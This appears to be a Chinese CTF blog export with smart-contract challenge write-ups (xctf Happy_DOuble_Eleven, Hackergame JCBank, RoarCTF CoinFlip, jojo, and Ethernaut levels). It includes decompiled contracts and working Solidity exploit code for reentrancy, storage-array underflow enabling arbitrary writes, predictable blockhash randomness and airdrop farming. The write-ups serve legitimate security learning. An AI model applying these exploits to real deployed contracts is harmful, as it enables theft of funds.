storage[0x06] == 0x03 要求 storage[0x05] > 0x8ac7230489e80000 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273function payforflag(var arg0) { if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); } if (msg.sender & 0x0fff != 0x0111) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x06; if (storage[keccak256(memory[0x00:0x40])] != 0x03) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x05; if (storage[keccak256(memory[0x00:0x40])] <= 0x8ac7230489e80000) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x04; storage[keccak256(memory[0x00:0x40])] = 0x00; memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x06; storage[keccak256(memory[0x00:0x40])] = 0x00; storage[0x02] = (storage[0x02] & ~0xff) | 0x00; storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x00; var var0 = 0x00; var var1 = 0x0eed; var var3 = var0; var var2 = 0x01; func_1489(var2, var3); var0 = 0x296b9274d26b7baffb5cc93e1af19012c35ace27ba9acf1badff99d1f76dfa69; var temp0 = arg0; var1 = temp0; var temp1 = memory[0x40:0x60]; var2 = temp1; var3 = var2; var temp2 = var3 + 0x20; memory[var3:var3 + 0x20] = temp2 - var3; memory[temp2:temp2 + 0x20] = memory[var1:var1 + 0x20]; var var4 = temp2 + 0x20; var var6 = memory[var1:var1 + 0x20]; var var5 = var1 + 0x20; var var7 = var6; var var8 = var4; var var9 = var5; var var10 = 0x00; if (var10 >= var7) { label_0F50: var temp3 = var6; var4 = temp3 + var4; var5 = temp3 & 0x1f; if (!var5) { var temp4 = memory[0x40:0x60]; log(memory[temp4:temp4 + var4 - temp4], [stack[-6]]); return; } else { var temp5 = var5; var temp6 = var4 - temp5; memory[temp6:temp6 + 0x20] = ~(0x0100 ** (0x20 - temp5) - 0x01) & memory[temp6:temp6 + 0x20]; var temp7 = memory[0x40:0x60]; log(memory[temp7:temp7 + (temp6 + 0x20) - temp7], [stack[-6]]); return; } } else { label_0F3E: var temp8 = var10; memory[var8 + temp8:var8 + temp8 + 0x20] = memory[var9 + temp8:var9 + temp8 + 0x20]; var10 = temp8 + 0x20; if (var10 >= var7) { goto label_0F50; } else { goto label_0F3E; } }} 0xed21248c Deposit() 每次 msg.value >= 0x1b1ae4d6e2ef500000 ,即 msg.value >= 500 eth ,然后 storage[0x05] += 1 结合 payforflag 来看,这个操作不现实,因为 payforflag 中要求 storage[0x05] > 0x8ac7230489e80000 ,即要将 msg.value >= 500 eth 进行 0x8ac7230489e80000+1 次 12345678function Deposit() { if (msg.value < 0x1b1ae4d6e2ef500000) { return; } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x05; var temp0 = keccak256(memory[0x00:0x40]); storage[temp0] = storage[temp0] + 0x01;} 0x24b04905 gift() 要求 address(msg.sender).code.length == 0 ,即在合约 constructor 中运行即可 要求 msg.sender 后 12 位为 0x0111 满足上述条件后,storage[0x04] = 100 , storage[0x05] += 1 , storage[0x06] += 1 123456789101112131415161718192021222324function gift() { var var0 = address(msg.sender).code.length; if (var0 != 0x00) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x05; if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); } if (msg.sender & 0x0fff != 0x0111) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x04; storage[keccak256(memory[0x00:0x40])] = 0x64; memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x05; var temp0 = keccak256(memory[0x00:0x40]); storage[temp0] = storage[temp0] + 0x01; memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x06; var temp1 = keccak256(memory[0x00:0x40]); storage[temp1] = storage[temp1] + 0x01; } 0x23de8635 func_06CE(arg0) 这里是调用了 0xa8286aca 的 function 总体来看,这里调用了 0xa8286aca 两次,输入同样的参数 arg0 一次, 0xa8286aca 第一次和第二次返回的结果不一样,但是一个 function 当它的参数确定时,他的返回结果也应该是确定的,而不会两次不一样,所以 0xa8286aca 这里应该是一个接口函数,我们是可以改写的,最后改变了 storage[0x02] 的值 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475function func_06CE(var arg0) { var var0 = msg.sender; var var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff; var var2 = 0xa8286aca; var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000; var temp1 = temp0 + 0x04; memory[temp1:temp1 + 0x20] = arg0; var var3 = temp1 + 0x20; var var4 = 0x20; var var5 = memory[0x40:0x60]; var var6 = var3 - var5; var var7 = var5; var var8 = 0x00; var var9 = var1; var var10 = !address(var9).code.length; if (var10) { revert(memory[0x00:0x00]); } var temp2; temp2, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]); var4 = !temp2; if (!var4) { var1 = memory[0x40:0x60]; var2 = returndata.length; if (var2 < 0x20) { revert(memory[0x00:0x00]); } if (memory[var1:var1 + 0x20]) { label_0850: return; } else { storage[0x03] = arg0; var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff; var2 = 0xa8286aca; var temp3 = memory[0x40:0x60]; memory[temp3:temp3 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000; var temp4 = temp3 + 0x04; memory[temp4:temp4 + 0x20] = storage[0x03]; var3 = temp4 + 0x20; var4 = 0x20; var5 = memory[0x40:0x60]; var6 = var3 - var5; var7 = var5; var8 = 0x00; var9 = var1; var10 = !address(var9).code.length; if (var10) { revert(memory[0x00:0x00]); } var temp5; temp5, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]); var4 = !temp5; if (!var4) { var1 = memory[0x40:0x60]; var2 = returndata.length; if (var2 < 0x20) { revert(memory[0x00:0x00]); } storage[0x02] = !!memory[var1:var1 + 0x20] | (storage[0x02] & ~0xff); goto label_0850; } else { var temp6 = returndata.length; memory[0x00:0x00 + temp6] = returndata[0x00:0x00 + temp6]; revert(memory[0x00:0x00 + returndata.length]); } } } else { var temp7 = returndata.length; memory[0x00:0x00 + temp7] = returndata[0x00:0x00 + temp7]; revert(memory[0x00:0x00 + returndata.length]); }} 0x9189fec1 guess(uint256) 要求 arg0 == block.blockHash(block.number - 0x01) % 3 ,这个很容易满足,因为利用区块号生成的随机数是可预测的 满足要求后,storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x0100 ** 0x14 ,即 storage[0x00] 的高 96 位数值为1 1234567891011121314function guess(var arg0) { var var1 = 0x00; var var0 = block.blockHash(block.number - 0x01); var var2 = 0x03; var var3 = var0; if (!var2) { assert(); } var1 = var3 % var2; if (var1 != arg0) { return; } storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x0100 ** 0x14;} 0xa6f2ae3a buy() 要求 storage[0x06] == 1 ,这些调用 gift() 空投可以完成 要求 storage[0x05] == 1 ,这些调用 gift() 空投可以完成 要求 storage[02] == 1 ,结合 func_06CE 来看,只需使得 0xa8286aca 第二次调用返回 1 即可 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 1 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可 满足上述要求后,storage[0x05] += 1 ,storage[0x06] += 1 123456789101112131415161718192021222324function buy() { memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x06; if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x05; if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); } if (!!(storage[0x02] & 0xff) != !!0x01) { revert(memory[0x00:0x00]); } if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x05; var temp0 = keccak256(memory[0x00:0x40]); storage[temp0] = storage[temp0] + 0x01; memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x06; var temp1 = keccak256(memory[0x00:0x40]); storage[temp1] = storage[temp1] + 0x01;} 0x47f57b32 retract() 要求 storage[0x01] == 0 要求 storage[0x05] == 0x02 ,调用 gift 后,再调用 buy 即可 要求 storage[0x06] == 0x02 ,调用 gift 后,再调用 buy 即可 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 0x01 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可 满足上述要求之后,storage[0x01] -= 0x1 ,这里应该是修改数组的长度 123456789101112131415161718192021function retract() { if (storage[0x01] != 0x00) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x05; if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x06; if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); } if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); } var var0 = storage[0x01] - 0x01; var var1 = 0x0cf4; var var2 = 0x01; var var3 = var0; func_1489(var2, var3);} 0x0339f300 revise(uint256,bytes32) 要求 storage[0x01] >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000 ,经过 retract() 后即可满足 要求 storage[0x05] == 0x02 , 要求 storage[0x06] == 0x02 , 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 0x01 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可 要求 arg0 >= storage[0x01] 满足上述要求后,后面进行了 storage 写操作,这里是任意写操作 123456789101112131415161718192021222324252627282930313233343536373839function revise(var arg0, var arg1) { if (storage[0x01] < 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x05; if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x06; if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); } if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); } var var0 = arg1; var var1 = 0x01; var var2 = arg0; if (var2 >= storage[var1]) { assert(); } memory[0x00:0x20] = var1; storage[keccak256(memory[0x00:0x20]) + var2] = var0; if (storage[0x01] >= 0xffffffffff000000000000000000000000000000000000000000000000000000) { memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x06; var temp0 = keccak256(memory[0x00:0x40]); storage[temp0] = storage[temp0] + 0x01; return; } else { var0 = 0x00; var1 = 0x0676; var2 = 0x01; var var3 = var0; func_1489(var2, var3); revert(memory[0x00:0x00]); }} 0xa9059cbb transfer(address,uint256) 这里是进行 storage[0x04] 之间的转账操作 123456789function transfer(var arg0, var arg1) returns (var r0) { var var0 = 0x00; var var1 = 0x11d7; var var2 = msg.sender; var var3 = arg0; var var4 = arg1; func_126F(var2, var3, var4); return 0x01;} 0x2e1a7d4d withdraw(uint256) 要求 storage[0x05] == 0x02 要求 storage[0x06] == 0x03 要求退款每次 < 100 要求 storage[0x04] < arg0,即余额比每次退款要多 要求合约余额比退款要多 满足条件后,storage[0x04] -= arg0 ,然后调用 call 函数进行转账(这里存在重入攻击,因为没有对 gas 做控制),最后 storage[0x05] -= 0x01 12345678910111213141516171819202122232425262728293031323334function withdraw(var arg0) { if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x05; if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x06; if (storage[keccak256(memory[0x00:0x40])] != 0x03) { revert(memory[0x00:0x00]); } if (arg0 < 0x64) { revert(memory[0x00:0x00]); } memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x04; if (storage[keccak256(memory[0x00:0x40])] < arg0) { revert(memory[0x00:0x00]); } if (address(address(this)).balance < arg0) { revert(memory[0x00:0x00]); } var temp0 = arg0; memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x04; var temp1 = keccak256(memory[0x00:0x40]); storage[temp1] = storage[temp1] - temp0; var temp2 = memory[0x40:0x60]; memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp0)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]); memory[0x00:0x20] = msg.sender; memory[0x20:0x40] = 0x05; var temp3 = keccak256(memory[0x00:0x40]); storage[temp3] = storage[temp3] - 0x01;} 分析 通过上面的分析后,这样整个攻击链就出来了 生成符合要求的外部账户,在 constructor 中调用 gift() 调用 0x23de8635 func_06CE ,这里要利用 bytecode 的方式部署,因为我们不知道 func_06CE 中调用的接口函数 0xa8286aca 的函数名,所以利用 bytecode 的方式部署第三方合约,将 fake(uint256) 对应的函数选择 id 改为 0xa8286aca 即可,这样调用 0xa8286aca 就是调用我们重写之后的 0xa8286aca 了,用 bytecode 部署可以用在线的 myetherwallet.com 调用 guess() ,然后调用 buy() 调用 retract() 和 revise() 修改 owner 部署第三方子合约,第三方子合约调用 gift() 和 transfer() 给攻击合约转账,然后调用 withdraw() 进行重入攻击 最后调用 payforflag 即可 exp 外部账户满足其部署的第一个合约地址最后 12 位是 0x111 可以用下述脚本生成,generate_eoa1() 是生成外部账户最后 12 位为 0x111 ,generate_eoa2() 是生成满足外部账户部署的第一个合约最后 12 位是 0x111 ,我们用 generate_eoa2() 即可 1234567891011121314151617181920212223242526272829303132333435from ethereum import utilsimport os, sys# generate EOA with appendix 1b1bdef generate_eoa1(): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) while not addr.lower().endswith("111"): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))# generate EOA with the ability to deploy contract with appendix 1b1bdef generate_eoa2(): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("111"): priv = utils.sha3(os.urandom(4096)) addr = utils.checksum_encode(utils.privtoaddr(priv)) print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))if __name__ == "__main__": if sys.argv[1] == "1": generate_eoa1() elif sys.argv[1] == "2": generate_eoa2() else: print("Please enter valid argument") exp如下 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172pragma solidity ^0.4.23;contract hack { address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476; uint have_withdraw = 0; int cnt = 0; constructor() payable { // gift() address(instance_address).call(bytes4(0x24b04905)); } function step1() public { // storage[0x02] == 1 address(instance_address).call(bytes4(0x23de8635), 0); } function fake(uint256 _i) public returns(uint256) { if(cnt == 1) { return 1; } cnt = 1; return 0; } function step2() public { // guess(uint256) uint256 v = uint256(block.blockhash(block.number-1)) % 3; address(instance_address).call(bytes4(0x9189fec1), v); // buy() address(instance_address).call(bytes4(0xa6f2ae3a)); } function step3() public { // retract() assert(address(instance_address).call(bytes4(0x47f57b32))); } function step4() public { // revise(uint256,bytes32) uint256 solt = 2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6; address(instance_address).call(bytes4(0x0339f300), solt, 2**160 + uint256(address(this))); } function step5() public { // withdraw address(instance_address).call(bytes4(0x2e1a7d4d), 100); } function() payable { if (have_withdraw <=2 && msg.sender == instance_address) { have_withdraw += 1; address(instance_address).call(bytes4(0x2e1a7d4d), 100); } } function step6(string b64email) public { address(instance_address).call(bytes4(0x6bc344bc), b64email); }}contract son { address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476; constructor() payable { // gift() address(instance_address).call(bytes4(0x24b04905)); // transfer address(instance_address).call(bytes4(0xa9059cbb), address(0x2db8f907965a5742f16f82cddced585f8bc04111), 100); }} Source 最后附上合约源代码及其已知源代码的 exp 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209pragma solidity ^0.4.23;interface Tmall { function Chop_hand(uint) view public returns (bool);}contract Happy_DOuble_Eleven { address public owner; bool public have_money; bytes32[] public codex; bool public have_chopped; uint public hand; mapping (address => uint) public balanceOf; mapping (address => uint) public mycart; mapping (address => uint) public level; event pikapika_SendFlag(string b64email); constructor() public { owner = msg.sender; } function payforflag(string b64email) onlyOwner public { require(uint(msg.sender) & 0xfff == 0x111); require(level[msg.sender] == 3); require(mycart[msg.sender] > 10000000000000000000); balanceOf[msg.sender] = 0; level[msg.sender] = 0; have_chopped = false; have_money = false; codex.length = 0; emit pikapika_SendFlag(b64email); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier first() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(_value > 0); uint256 oldFromBalance = balanceOf[_from]; uint256 oldToBalance = balanceOf[_to]; uint256 newFromBalance = balanceOf[_from] - _value; uint256 newToBalance = balanceOf[_to] + _value; require(oldFromBalance >= _value); require(newToBalance > oldToBalance); balanceOf[_from] = newFromBalance; balanceOf[_to] = newToBalance; assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance)); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function Deposit() public payable { if(msg.value >= 500 ether){ mycart[msg.sender] += 1; } } function gift() first { require(mycart[msg.sender] == 0); require(uint(msg.sender) & 0xfff == 0x111); balanceOf[msg.sender] = 100; mycart[msg.sender] += 1; level[msg.sender] += 1; } function Chopping(uint _hand) public { Tmall tmall = Tmall(msg.sender); if (!tmall.Chop_hand(_hand)) { hand = _hand; have_chopped = tmall.Chop_hand(hand); } } function guess(uint num) public { uint seed = uint(blockhash(block.number - 1)); uint rand = seed % 3; if (rand == num) { have_money = true; } } function buy() public { require(level[msg.sender] == 1); require(mycart[msg.sender] == 1); require(have_chopped == true); require(have_money == true); mycart[msg.sender] += 1; level[msg.sender] += 1; } function retract() public { require(codex.length == 0); require(mycart[msg.sender] == 2); require(level[msg.sender] == 2); require(have_money == true); codex.length -= 1; } function revise(uint i, bytes32 _person) public { require(codex.length >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000); require(mycart[msg.sender] == 2); require(level[msg.sender] == 2); require(have_money == true); codex[i] = _person; if (codex.length < 0xffffffffff000000000000000000000000000000000000000000000000000000){ codex.length = 0; revert(); } else{ level[msg.sender] += 1; } } function withdraw(uint _amount) onlyOwner public { require(mycart[msg.sender] == 2); require(level[msg.sender] == 3); require(_amount >= 100); require(balanceOf[msg.sender] >= _amount); require(address(this).balance >= _amount); balanceOf[msg.sender] -= _amount; msg.sender.call.value(_amount)(); mycart[msg.sender] -= 1; }}contract hack { address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476; Happy_DOuble_Eleven target = Happy_DOuble_Eleven(instance_address); bool public flag = true; uint have_withdraw = 0; constructor() payable { target.gift(); } function Chop_hand(uint) public returns (bool){ flag = !flag; return flag; } function step1() public { target.Chopping(123); } function step2() public { uint seed = uint(blockhash(block.number - 1)); uint rand = seed % 3; target.guess(rand); target.buy(); } function step3() public { target.retract(); } function step4(uint i, bytes32 _person) public { target.revise(i, _person); } function step5() public { target.withdraw(100); } function() payable { if (have_withdraw <=2 && msg.sender == instance_address) { have_withdraw += 1; target.withdraw(100); } } function step6(string b64email) public { target.payforflag(b64email); }}contract son { address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476; Happy_DOuble_Eleven target = Happy_DOuble_Eleven(instance_address); constructor() payable { target.gift(); target.transfer(address(0x9e9d7445a3851aa38f70383301d5e7f39fa03111), 100); }}]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>xctf final</tag>
<tag>Happy_DOuble_Eleven</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Hackergame2019 JCBank]]></title>
<url>%2F2019%2FJCBank%2F</url>
<content type="text"><![CDATA[前言 以太坊 Kovan 测试链 合约地址:https://kovan.etherscan.io/address/0xE575c9abD35Fa94F1949f7d559056bB66FddEB51 题目:https://github.com/hitcxy/blockchain-challenges/tree/master/2019/Hackergame/JCBank 两个 flag : get_flag_1 get_flag_2 get_flag_1 读取 storage 变量 secret 的值即可,其值为 0x175bddc0da1bd47369c47861f48c8ac ,调用 get_flag_1 即可 1234567891011var Web3=require("web3");if (typeof web3 !== 'undefined') { web3 = new Web3(web3.currentProvider);} else { web3 = new Web3(new Web3.providers.HttpProvider("https://kovan.infura.io/v3/b38f10b5036f4e6691fcc690461097d1"));}var address="0xE575c9abD35Fa94F1949f7d559056bB66FddEB51";web3.eth.getStorageAt(address, 0, function(x,y){console.info(y)});web3.eth.getStorageAt(address, 1, function(x,y){console.info(y)});web3.eth.getStorageAt(address, 2, function(x,y){console.info(y)}); get_flag_2 利用 Reentrancy 和 整型下溢 123456789101112131415161718192021222324252627282930313233contract hack { address instance_address = 0xE575c9abD35Fa94F1949f7d559056bB66FddEB51; JCBank target = JCBank(instance_address); uint public have_withdraw = 0; string public s; constructor() public payable {} function attack() public { target.deposit.value(0.1 ether)(); } function attack1(uint128 guess) public { s=target.get_flag_1(guess); } function attack2() public { if(have_withdraw == 1){ target.get_flag_2(155418233698); } } function attack3() public { target.withdraw(0.1 ether); } function() payable { if (have_withdraw == 0 && msg.sender == instance_address){ have_withdraw = 1; target.withdraw(0.1 ether); } }} attack 存入一点金额,attack3 重入攻击两次, attack2 调用 get_flag_2 即可]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>Hackergame</tag>
<tag>JCBank</tag>
</tags>
</entry>
<entry>
<title><![CDATA[RoarCTF2019 CoinFlip]]></title>
<url>%2F2019%2FCoinFlip%2F</url>
<content type="text"><![CDATA[前言 RoarCTF2019 的 CoinFlip 题目 题目:https://github.com/hitcxy/blockchain-challenges/tree/master/2019/RoarCTF/CoinFlip Deposit() 可以增加 balances[msg.sender] ,但是需要发送 msg.value > 500 ether 才能满足要求,可以写自动化脚本完成(但这样的话,题目应该是非预期,题目考点应该不是这个,所以理论可行,请自行尝试) 薅羊毛攻击: 部署第三方自合约,然后调用 Ap() 和 Transfer() 将钱转到固定地址 固定地址调用 CaptureTheFlag 即可 12345678910111213141516171819202122232425contract hack { address instance_address = 0xF60ADeF7812214eBC746309ccb590A5dBd70fc21; P_Bank target = P_Bank(instance_address); function hack1(string b64email) public { target.CaptureTheFlag(b64email); }}contract father { function createsons() { for (uint i=0;i<101;i++) { son ason = new son(); } }}contract son { constructor() public { P_Bank tmp = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21); tmp.Ap(); tmp.Transfer(0x7ec9f720a8d59bc202490c690139f8c7cbad568d, 1 ether); }}]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>RoarCTF2019</tag>
<tag>CoinFlip</tag>
</tags>
</entry>
<entry>
<title><![CDATA[数字经济2019 jojo]]></title>
<url>%2F2019%2Fjojo%2F</url>
<content type="text"><![CDATA[前言 数字经济云安全众测大赛 2019 ,一道区块链题目 题目:附件下载 需要逆向 满足 require 即可 1234function payforflag(string b64email) public { require(balanceOf[msg.sender] >= 100000); emit SendFlag(b64email);} gift 空投函数 12345function gift() public { assert(gift[msg.sender]==0); balanceOf[msg.sender]+=100; gift[msg.sender]=1;} 转账函数 12345function transfer(address to,uint value) public { assert(balanceOf[msg.sender] >= value); balanceOf[msg.sender]-=value; balanceOf[to]+=value;} 转账函数无法整型溢出,所以需要另想办法 薅羊毛攻击:通过建立多个自合约领取空投,然后转账给固定账户即可完成攻击 payforflag 12345678910111213141516171819202122232425contract hack { address instance_address = 0xd86ed76112295a07c675974995b9805912282eb3; jojo target = jojo(instance_address); function hack1(string b64email) public { target.payforflag(b64email); }}contract father { function attack() public { for (uint i=0; i<50; i++) { son ason = new son(); } }}contract son { constructor() public{ jojo tmp = jojo(0xd86ed76112295a07c675974995b9805912282eb3); tmp.gift(); tmp.transfer(0xafFE1Eeea46Ec23a87C7894d90Aa714552468cAF,100); }}]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>Solidity</tag>
<tag>Smart Contract</tag>
<tag>数字经济云安全</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Ethernaut -- Smart Contract]]></title>
<url>%2F2019%2Fethernaut%2F</url>
<content type="text"><![CDATA[前言 22 shop 这题貌似已经下线,嘤嘤嘤嘤 以下 wp 都是基于 0.4.* 版本的 记录一下刚学习 Smart Contract 做题的平台的 WP (2333入门级,开心就好~~~),如果没有任何基础,可以参考 CryptoZombies 等教程,下面是题目平台地址: https://ethernaut.openzeppelin.com/ Hello Ethernaut 熟悉关卡挑战的模式,以及执行操作的方式,根据其介绍一步一步操作即可 由于网络不太稳定的原因,可以多试几次,成功的结果花里胡哨的23333 FallbackRequire you claim ownership of the contract you reduce its balance to 0 Source1234567891011121314151617181920212223242526272829303132333435pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Fallback is Ownable { using SafeMath for uint256; mapping(address => uint) public contributions; function Fallback() public { contributions[msg.sender] = 1000 * (1 ether); } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] = contributions[msg.sender].add(msg.value); if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { owner.transfer(this.balance); } function() payable public { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; }} Analyse 合约可以有一个未命名的函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识匹配(或没有提供调用数据),那么这个函数( fallback 函数)会被执行。除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币, fallback 函数必须标记为 payable 。 很明显我们如果通过反复调用 contribute 来触发 owner 不现实,因为我们每次最多向合约贡献不大于 0.001 ether ,而要超过 owner 需要 1000 ether (构造函数赋予 owner 的)。但我们惊喜地发现 fallback 函数同样可以改变 owner 的值,那么对应的操作就非常清晰了: 调用合约的 contribute 使得合约中我们账户对应的 balance 大于 0 触发 fallback 函数使得合约对应的 owner 变成我们 调用 withdraw 函数清空 balance Solution12345678// step 1await contract.contribute({value: 1});// step 2,使用 sendTransaction 函数触发 fallback 函数执行await contract.sendTransaction({value: 1});// step 3await contract.withdraw();// 此时调用 owner 函数可以确认合约的 owner 是否已经变成了我们所对应的地址了await contract.owner(); FalloutRequire Claim ownership of the contract below to complete this level. Source123456789101112131415161718192021222324252627282930313233pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Fallout is Ownable { using SafeMath for uint256; mapping (address => uint) allocations; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(this.balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; }} Analyse 我们可以发现一个很明显的问题,理论上应该写成 Fallout 的构造函数被写成了 Fal1out ,那么该函数就不是构造函数,意味着该函数可以被我们调用(我们无法调用构造函数)。 Solution1234// 调用该函数,修改 ownerawait contract.Fal1out();// 可以确认是否修改成功await contract.owner(); Coin FlipRequire This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row. Source1234567891011121314151617181920212223242526272829303132333435pragma solidity ^0.4.18;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } }} Analyse 代码处理流程为: 获得上一块的 hash 值 判断与之前保存的 hash 值是否相等,相等则会退 根据 blockValue/FACTOR 的值判断为正或负,即通过 hash 的首位判断 